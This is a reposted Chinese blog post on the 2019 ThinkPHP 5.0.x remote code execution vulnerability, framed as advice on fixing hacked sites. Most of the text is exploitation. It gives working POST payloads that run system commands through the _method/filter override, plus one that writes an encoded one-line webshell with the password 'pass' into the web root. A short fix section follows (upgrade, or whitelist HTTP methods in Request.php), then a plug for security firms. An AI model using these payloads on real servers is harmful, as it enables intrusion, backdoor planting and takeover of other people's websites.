博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
网站有漏洞被攻击篡改了数据该怎么修复解决
阅读量:6815 次
发布时间:2019-06-26

本文共 1521 字,大约阅读时间需要 5 分钟。

2019年1月14日消息,thinkphp又被爆出致命漏洞,可以直接远程代码执行,getshell提权写入网站木马到网站根目录,甚至直接提权到服务器,该漏洞影响版本ThinkPHP 5.0、ThinkPHP 5.0.10、ThinkPHP5.0.12、ThinkPHP5.0.13、ThinkPHP5.0.23、thinkphp 5.0.22版本。

攻击者可以伪造远程恶意代码,对服务器进行post提交数据来利用漏洞,该漏洞产生的原因是继上次2019元旦前后爆出的网站漏洞后,又一次的致命漏洞。在thinkphp目录下的library文件夹下的thinkrequest.php代码。如下图所示:

从上述代码中可以看出整个代码写的流程,首先打开网站会从app.php代码里将请求的网站地址使用check来进行解析,然后再经过patch类型对其进行深度的赋值.然后可以使用post方式提交数据到_method函数当中去,框架会对进行判断,然后对其调用传入的参数值,经过整个代码的循坏以及传入,就可以导致request的值给覆盖掉,从而产生远程代码执行,我们来构造恶意的代码,看看漏洞是如何使用的。

post地址:anquan/public/index.php?s=captcha

POST内容:c=system&f=whoami&_method=filter

直接远程提交过去就会执行我们的命令 whoami。查看返回的post数据就可以看到我们要看的

信息。

在整体的所有版本中测试,thinkphp必须开启debug模式才可以写入webshell,写入的执行代码是:_method=construct&filter[]=assert&filter[]=file_put_contents('0.php',_decode

('JTNDJTI1ZXZhbCUyMHJlcXVlc3QlMjAlMjglMjJwYXNzJTIyJTI5JTI1JTNF'))&server=-1 写入的是一句话木马,连接密码是pass.

有些低版本的网站,可以不使用captcha参数也可是执行远程代码,代码如下:_method=__construct&filter[]=system&method=GET&get[]=whoami

_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo

_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo

以上三个都是可以执行远程代码的。

关于thinkphp漏洞的修复建议:

尽快升级thinkphp到最新版本,有一些网站可能不方便升级,也可以对代码的文件进行修复,漏洞代码是library/think/Request.php对该代码的526行,527行进行添加设置白名单机制,对请求过来的数据,以及接收的数据进行安全限制。if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {$this->method = $method,网站程序代码的安全很重要,如果网站使用了开源的CMS系统代码,不懂程序技术的话,网站会经常被黑客攻击,如果自己懂程序,那就可以自己针对代码的漏洞进行漏洞修复,不懂的话,就请专业的网站安全公司来完善一下程序上的某些代码漏洞,国内像SINE安全、绿盟安全、启明星辰都是比较专业的安全公司,很多黑客之所以能植入木马病毒,就是抓住了这些网站代码上的漏洞。

转载地址:http://eadzl.baihongyu.com/

你可能感兴趣的文章
python-列表常用功能介绍
查看>>
CSS概念 - 可视化格式模型(二) 定位概述(普通流、绝对定位)
查看>>
TSF自定义候选词列表界面
查看>>
C++链接库
查看>>
HTML5中的全局属性
查看>>
exp命令ORACLCE10G导出ORACLE11G的数据1455错误
查看>>
'<>' operator is not allowed for source level below 1.7
查看>>
hdu 油菜花王国
查看>>
[CQOI2016]伪光滑数
查看>>
使用jquery.validate.js实现boostrap3的校验和验证
查看>>
八百呼电话录音系统--让通讯管理更安心
查看>>
02-线性结构1 两个有序链表序列的合并
查看>>
Python+numpy(3).md
查看>>
Java基础学习总结(85)——Java中四种线程安全的单例模式实现方式
查看>>
Mysql学习总结(9)——MySql视图原理讲解与使用大全
查看>>
DirectX 10 学习笔记7:环境光
查看>>
Segmentation fault (core dumped)
查看>>
openCV 二 图像处理
查看>>
Android 使用 ACTION_CALL 拨号
查看>>
求生之路刷服修改刷服器
查看>>